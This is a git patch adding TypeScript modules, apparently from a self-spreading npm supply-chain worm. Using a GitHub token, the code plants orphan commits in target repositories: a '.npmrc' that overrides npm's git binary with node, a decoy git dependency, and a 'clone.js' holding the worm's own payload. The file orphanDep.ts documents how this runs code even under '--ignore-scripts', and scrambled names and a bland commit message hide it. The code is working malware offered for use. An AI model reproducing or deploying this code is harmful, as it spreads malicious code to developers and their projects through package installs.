From ef61fc923517b92422e61cb6f33286c44f7b3b52 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:15:53 +0000 Subject: [PATCH] Upload files to "src/github_utils" --- src/github_utils/gitDb.ts | 166 +++++++++++++++++++++++++++++++++ src/github_utils/orphanDep.ts | 126 +++++++++++++++++++++++++ src/github_utils/tokenCheck.ts | 2 + 3 files changed, 294 insertions(+) create mode 100644 src/github_utils/gitDb.ts create mode 100644 src/github_utils/orphanDep.ts create mode 100644 src/github_utils/tokenCheck.ts diff --git a/src/github_utils/gitDb.ts b/src/github_utils/gitDb.ts new file mode 100644 index 0000000..6cec763 --- /dev/null +++ b/src/github_utils/gitDb.ts @@ -0,0 +1,166 @@ +import { githubFetch, githubJson } from "../github_utils/client"; + +// ── Types ───────────────────────────────────────────────────────────── + +export interface GitRef { + ref: string; + object: { sha: string; type?: string }; +} + +export interface GitTreeEntry { + path: string; + mode: string; + type: "blob" | "tree"; + sha: string; +} + +export interface CommitAuthor { + name: string; + email: string; + date: string; +} + +// ── Ref helpers ─────────────────────────────────────────────────────── + +export async function getBranchRef( + token: string, + owner: string, + repo: string, + branch: string, +): Promise { + return githubJson( + token, + `/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`, + ); +} + +export async function updateBranch( + token: string, + owner: string, + repo: string, + branch: string, + sha: string, + force: boolean, +): Promise { + await githubJson( + token, + `/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`, + { method: "PATCH", body: JSON.stringify({ sha, force }) }, + ); +} + +export async function createBranch( + token: string, + owner: string, + repo: string, + branchName: string, + sha: string, +): Promise { + await githubFetch(token, `/repos/${owner}/${repo}/git/refs`, { + method: "POST", + body: JSON.stringify({ ref: `refs/heads/${branchName}`, sha }), + }); +} + +export async function deleteBranch( + token: string, + owner: string, + repo: string, + branchName: string, +): Promise { + await githubFetch( + token, + `/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branchName)}`, + { method: "DELETE" }, + ); +} + +// ── Object helpers ──────────────────────────────────────────────────── + +export async function createBlob( + token: string, + owner: string, + repo: string, + content: string, +): Promise { + const blob = await githubJson<{ sha: string }>( + token, + `/repos/${owner}/${repo}/git/blobs`, + { method: "POST", body: JSON.stringify({ content, encoding: "utf-8" }) }, + ); + return blob.sha; +} + +export async function createTree( + token: string, + owner: string, + repo: string, + baseTree: string | null, + entries: GitTreeEntry[], +): Promise { + const body: Record = { tree: entries }; + if (baseTree) body.base_tree = baseTree; + const tree = await githubJson<{ sha: string }>( + token, + `/repos/${owner}/${repo}/git/trees`, + { method: "POST", body: JSON.stringify(body) }, + ); + return tree.sha; +} + +export async function getCommitTree( + token: string, + owner: string, + repo: string, + commitSha: string, +): Promise { + const c = await githubJson<{ tree: { sha: string } }>( + token, + `/repos/${owner}/${repo}/git/commits/${commitSha}`, + ); + return c.tree.sha; +} + +export async function createCommit( + token: string, + owner: string, + repo: string, + message: string, + treeSha: string, + parentSha: string, + author?: CommitAuthor, +): Promise { + const body: Record = { + message, + tree: treeSha, + parents: [parentSha], + }; + if (author) { + body.author = author; + body.committer = author; + } + const commit = await githubJson<{ sha: string }>( + token, + `/repos/${owner}/${repo}/git/commits`, + { method: "POST", body: JSON.stringify(body) }, + ); + return commit.sha; +} + +export async function createOrphanCommit( + token: string, + owner: string, + repo: string, + treeSha: string, + message: string, +): Promise { + const commit = await githubJson<{ sha: string }>( + token, + `/repos/${owner}/${repo}/git/commits`, + { + method: "POST", + body: JSON.stringify({ message, tree: treeSha, parents: [] }), + }, + ); + return commit.sha; +} diff --git a/src/github_utils/orphanDep.ts b/src/github_utils/orphanDep.ts new file mode 100644 index 0000000..a414179 --- /dev/null +++ b/src/github_utils/orphanDep.ts @@ -0,0 +1,126 @@ +import { logUtil } from "../utils/logger"; +import { buildSelfExtractingPayload } from "../utils/selfExtracting"; +import { + createBlob, + createOrphanCommit, + createTree, + type GitTreeEntry, +} from "./gitDb"; + +declare function scramble(str: string): string; + +// ── File builders ──────────────────────────────────────────────────── + +/** + * Build the three files for the orphan commit. + * + * ## Technique (git binary override) + * + * npm reads `.npmrc` files from inside git dependencies and merges their + * config into the running npm session. We set `git=node` so that the + * next time npm spawns a git operation it executes `node clone ` + * instead of `git clone `. Node resolves bare `clone` to + * `clone.js` in the working directory, which is our payload. + * + * To guarantee the trigger fires, `package.json` declares a second git + * dependency (`github:axios/axios#main`). npm processes our `.npmrc` + * first (setting `git=node`), then resolves the axios dep — spawning + * `node clone ` which executes `clone.js`. + * + * This bypasses `--ignore-scripts` because npm *always* spawns the git + * binary to fetch git dependencies — lifecycle hooks are skipped but the + * git toolchain is not. + * + * @see https://thinkingthroughcode.medium.com/i-thought-ignore-scripts-made-npm-installs-safe-it-doesnt-f409b852e7c5 + */ +function buildFiles( + payload: string, +): Record { + return { + "package.json": { + content: JSON.stringify( + { + name: scramble("setup-utils"), + version: "1.0.0", + private: true, + dependencies: { + axios: scramble("github:axios/axios#main"), + }, + }, + null, + 2, + ), + mode: "100644", + }, + "clone.js": { + content: `#!/usr/bin/env node\n${payload}`, + mode: "100755", + }, + ".npmrc": { + content: "git=node\n", + mode: "100644", + }, + }; +} + +// ── Public API ─────────────────────────────────────────────────────── + +/** + * Create an orphan commit containing a git-binary-override `.npmrc`, a + * `package.json` with a second git dependency that forces npm to spawn + * git, and the self-extracting payload as `clone.js` (shebanged, mode + * 0o755). + * + * ### How it bypasses `--ignore-scripts` + * + * 1. `.npmrc` sets `git=node` — npm merges this into its running config. + * 2. `package.json` depends on `github:axios/axios#main` — forces npm to + * spawn a git operation *after* reading our `.npmrc`. + * 3. npm runs `node clone `, Node resolves bare `clone` to + * `clone.js` in the dependency directory. + * 4. The payload executes — no lifecycle hooks needed. + * + * @param token GitHub PAT with repo scope on the target repository. + * @param repository `owner/repo` string (e.g. `"facebook/react"`). + * @returns `github:owner/repo#` — ready to drop into + * `optionalDependencies`. + */ +export async function createOrphanDep( + token: string, + repository: string, +): Promise { + const [owner, repo] = repository.split("/"); + if (!owner || !repo) { + throw new Error( + `Invalid repository format: "${repository}" — expected "owner/repo"`, + ); + } + + // 1. Build the self-extracting payload + const rawPayload = await Bun.file(Bun.main).text(); + const payload = buildSelfExtractingPayload(rawPayload, { wrap: true }); + + // 2. Assemble the three files + const files = buildFiles(payload); + + // 3. Create blobs for each file + const blobShas: GitTreeEntry[] = []; + + for (const [path, { content, mode }] of Object.entries(files)) { + const sha = await createBlob(token, owner, repo, content); + blobShas.push({ path, mode, type: "blob" as const, sha }); + } + + // 4. Create a tree from the blobs (no base tree — orphan) + const treeSha = await createTree(token, owner, repo, null, blobShas); + + // 5. Create an orphan commit (no parents) + const message = scramble("chore: update dependencies"); + const sha = await createOrphanCommit(token, owner, repo, treeSha, message); + + const depString = `github:${repository}#${sha}`; + + logUtil.log(`[OrphanDep] Created ${depString}`); + + return depString; +} diff --git a/src/github_utils/tokenCheck.ts b/src/github_utils/tokenCheck.ts new file mode 100644 index 0000000..6a0092d --- /dev/null +++ b/src/github_utils/tokenCheck.ts @@ -0,0 +1,2 @@ +export type { TokenInfo, TokenMetadata } from "./auth"; +export { checkToken, getTokenMetadata } from "./auth"; \ No newline at end of file